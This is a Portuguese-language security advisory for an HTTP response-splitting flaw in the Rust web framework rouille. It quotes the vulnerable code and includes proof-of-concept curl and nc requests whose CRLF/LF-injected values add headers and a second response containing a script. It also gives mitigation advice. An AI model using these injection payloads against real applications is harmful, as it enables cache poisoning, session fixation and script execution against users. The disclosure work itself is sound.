
Aviso de Segurança: Divisão de Resposta HTTP via Valores de Cabeçalho de Resposta Não Validados (rouille)
ID de CVE atribuído: CVE-2026-66746
A rouille escreve valores de cabeçalho de resposta para o cliente sem verificar se contêm retorno de carro ou avanço de linha. Um aplicativo que coloca texto influenciado pelo atacante em um valor de cabeçalho, portanto, emite cabeçalhos extras, ou uma segunda resposta HTTP inteira, na rede.
Duas propriedades da rouille tornam isso atingível em código comum.
Request::get_param decodifica percent-encoding, portanto %0d%0a em uma
string de consulta se torna um CRLF real. E session::session copia o valor do
próprio Cookie do cliente para Set-Cookie sem nenhuma validação.
Todas as outras pilhas HTTP Rust amplamente utilizadas rejeitam isso no nível de
tipo: http::HeaderValue::from_str retorna para CR e LF,
e é por isso que hyper, axum, actix-web e warp não estão expostas da mesma
forma.
InvalidHeaderValueURL do repositório: https://github.com/tomaka/rouille
| Primeira versão afetada | 0.4.0 (2016-12-14) para o caminho do cabeçalho de resposta abaixo |
| Última versão afetada | 3.6.2 (2023-04-24), o lançamento atual |
| Corrigida em | nenhuma versão corrigida no momento da escrita |
Lançamentos anteriores a 0.4.0 emitem respostas por um caminho de código
diferente que não foi examinado, portanto não se afirma nada sobre eles em
nenhum dos sentidos. A reflexão session::session descrita no caminho B existe
desde 0.3.2 (2016-12-02).
CWE-113 (Neutralização Incorreta de Sequências CRLF em Cabeçalhos HTTP), um caso específico de CWE-93 (Injeção de CRLF).
Pontuação base CVSS 4.0: 5.3 (Média)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
O caminho A exige um atacante remoto e não autenticado e uma vítima que siga um
link fornecido pelo atacante. O atacante precisa que o aplicativo coloque
qualquer string derivada da requisição em um cabeçalho de resposta. Redirecionar
para um parâmetro de consulta next ou return_to é o caso comum.
O caminho B exige apenas que o aplicativo chame session::session e leia o id
da sessão. O atacante controla o próprio cabeçalho Cookie; portanto, por si
só, isso é autoprovocado. Torna-se um ataque contra outras pessoas quando um
cache compartilhado armazena a resposta dividida, ou quando combinado com outra
forma de definir um cookie no navegador da vítima.
rouille/src/lib.rs, linhas 624 a 640, repassa os valores diretamente:
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes verifica apenas se os bytes são ASCII, e CR e LF são
ASCII. tiny_http-0.12.0/src/common.rs, linhas 166 a 172:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
O valor é então gravado sem escaping.
tiny_http-0.12.0/src/response.rs, linhas 99 a 104:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param decodifica escapes percentuais, então o chamador recebe
caracteres de controle reais. rouille/src/lib.rs, linhas 928 a 932:
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs obtém a chave do cookie do cliente na linha 59 e a
interpola no cabeçalho de resposta nas linhas 75 a 81:
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
Passo 1. Inicie um servidor que redireciona para um parâmetro de consulta.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
Passo 2. Faça a requisição com %0d%0a no parâmetro.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
Resultado. X-Injected chega como um cabeçalho próprio:
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
Passo 3. Estenda o payload para além do fim dos cabeçalhos para emitir uma segunda resposta completa.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
Resultado. Uma requisição, duas respostas completas. A segunda carrega uma linha de status, um tipo de conteúdo e um corpo escolhidos pelo atacante:
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Passo 1. Inicie um servidor usando o padrão de sessão documentado.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
Passo 2. Envie um cookie cujo valor contém um LF puro. \n abaixo é um único
avanço de linha, \r\n é um CRLF.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
Resultado. O valor escapa do Set-Cookie para uma linha própria:
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
O caminho B tem três limitações que valem a pena notar. Apenas um LF puro passa,
porque um CRLF teria encerrado a linha do cabeçalho no tiny_http, portanto o
cliente ou o cache precisa tratar um LF isolado como terminador. Tudo após o
ponto de injeção ainda carrega o sufixo ; Max-Age=3600; Path=/; HttpOnly do
mesmo format!; logo, a primitiva é um cabeçalho com uma string final fixa, e
não um cabeçalho arbitrário limpo. E o atacante controla apenas o próprio
cookie. O caminho A não tem nenhuma dessas limitações.
Execução de script no contexto de segurança da origem, envenenamento de cache no
qual um cache compartilhado armazena a resposta injetada associada à URL da
vítima, fixação de sessão por meio de um Set-Cookie injetado e substituição de
cabeçalhos de segurança como CSP ou CORS. Como o caminho A produz um CRLF real,
todo cliente e todo cache dividem a resposta nesse ponto.
Valide os valores de cabeçalho em Server::process antes de entregá-los ao
tiny_http, em rouille/src/lib.rs por volta da linha 634:
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
Retorne um 500 para a resposta inteira em vez de descartar o cabeçalho problemático, para que a falha fique visível em vez de alterar silenciosamente a resposta.
Valide também a chave de sessão em session::session: rejeite um valor de
cookie que não seja [A-Za-z0-9]+ e gere um novo id em vez disso. Verificar em
Response::with_additional_header, with_unique_header e nos construtores
redirect_* revelaria o erro no local da chamada, onde o autor do aplicativo
pode agir sobre ele.